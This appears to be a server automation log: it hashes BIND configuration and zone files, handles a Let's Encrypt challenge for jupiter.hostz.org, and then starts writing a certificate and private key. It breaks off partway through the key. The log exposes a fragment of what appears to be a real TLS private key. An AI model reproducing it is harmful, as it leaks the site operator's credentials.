MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 10:23:36: Establishing a connection
2026-04-20 10:23:51: Establishing a connection
2026-04-20 10:23:51: 

PUT: /tmp/pkp809751

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 10:23:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp809751; rm /tmp/pkp809751'

2026-04-20 10:23:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 10:24:01: Establishing a connection
2026-04-20 10:24:01: Establishing a connection
2026-04-20 10:24:02: 

PUT: /tmp/pkp214757

#!/bin/bash
if [ -d "/var/www/hostz_jupiter/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-20 10:24:02: 

chmod 755 /tmp/pkp214757; /tmp/pkp214757; rm /tmp/pkp214757

2026-04-20 10:24:02: 


1


2026-04-20 10:24:03: Establishing a connection
2026-04-20 10:24:03: 

PUT: /tmp/pkp842823

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cat > 69Xh-i0UBn6_1II0pRLrQPMwwaK_JvOVqlSYM5GaO4Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
69Xh-i0UBn6_1II0pRLrQPMwwaK_JvOVqlSYM5GaO4Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 69Xh-i0UBn6_1II0pRLrQPMwwaK_JvOVqlSYM5GaO4Y


2026-04-20 10:24:03: 

chmod 755 /tmp/pkp842823; /tmp/pkp842823; rm /tmp/pkp842823

2026-04-20 10:24:03: 




2026-04-20 10:24:09: Establishing a connection
2026-04-20 10:24:10: 

PUT: /tmp/pkp227881

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
rm 69Xh-i0UBn6_1II0pRLrQPMwwaK_JvOVqlSYM5GaO4Y


2026-04-20 10:24:10: 

chmod 755 /tmp/pkp227881; /tmp/pkp227881; rm /tmp/pkp227881

2026-04-20 10:24:10: 




2026-04-20 10:24:10: Establishing a connection
2026-04-20 10:24:10: 

PUT: /tmp/pkp194555

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
0a:3f:2d:94:60:5a:67:3b:cd:a7:75:45:60:b3:14:6f

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBgkBMdUmt7wBR4mf560iAJq9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDIwMDkyNTM5WhcNMjYwNzE5MDkyNTM4WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMUEihkFI3qkzm8otHyvgD67MHILRp+36kSFl5h4RDG5sC5/IJCvzpvl5vNf
nbWKbsxKiBPkM3e121zo6pujo7DHQjhK4PeQdXjyeqE4zhTxHJjkfv0j4QQTWJR3
WHnc+rppoKDLuAbFYrcZ27BZgtsdxWetxE0d10rBVeI8BJ59L2Qq1hUMw9Fgg0HM
EUCJPJb0bMac2A9IYmTyZ8igcOcvBYAjY9lUgvtw/gP/8nE9TVAnzuMDttKhsFxB
QC8373plpBxQchHNK/8n67z6emWyC2FW4wf7hwT5wPOj4EFNBkBr689ZEVJyuHVh
qDCe5f8PXjmgKCw0MYMWXSk2uOUCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRS
hECdd1wxGCRPKsvbb/PhEF3PrDAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEWp1cGl0ZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNjIuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAyKPEf8ezrbk1
awE/anoSbeM6TkOlxkb5l605dZkdz5oAAAGdqmtC5gAABAMARzBFAiBReNrzEeYa
a0xKA8lDo96MZ1C89baOSPYQokC+3AUElgIhAIgSg4sui12Sw1rb9H+XHj33+p1z
8+MijFzFNWrMeOpbAH8AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScA
AAGdqmtDGQAIAAAFAAeYBOAEAwBIMEYCIQD8bgI2lh2sAVEKpX/lwW8BMBxsJ+WV
2ht2IU4voW8MqgIhAJFQGAYoQ+OFdDPBHA9GLU0loa1M4BMQtNsbiV2blaw9MA0G
CSqGSIb3DQEBCwUAA4IBAQBoGjE6vFLjMY2joDVbOn6tWSspTHFk65mDLZ6iALxm
nHlpI/j6PIK15wciTEcynUCviZvhnp8IP/LV0USyboZewomAZ0ASpLZ1gsSOVohi
RvRiij+Ok0so3k7y4D7gaOfKVF2mbGjkpsx0tsNQuA97OOOMtim90f+wWFRT9cjS
Re56tpTeWUh51Sj/4RYI+1BBm7rbOjrh71SDlNxyydEUZgl/nvbmvlEa2AMCaFC7
0AaDXmV4HW9JvG1N6Se1WnFjVtXCGViL4H2VH0t+3lQPDVkZjZaVwXC37lmP/byY
BS1HccoTjTcCkwV2dWVx9d6o/PpkLJxVamMpEsprzzxX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDFBIoZBSN6pM5v
KLR8r4A+uzByC0aft+pEhZeYeEQxubAufyCQr86b5ebzX521im7MSogT5DN3tdtc
6Oqbo6Owx0I4SuD3kHV48nqhOM4U8RyY5H79I+EEE1iUd1h53Pq6aaCgy7gGxWK3
GduwWYLbHcVnrcRNHddKwVXiPASefS9kKtYVDMPRYINBzBFAiTyW9GzGnNgPSGJk
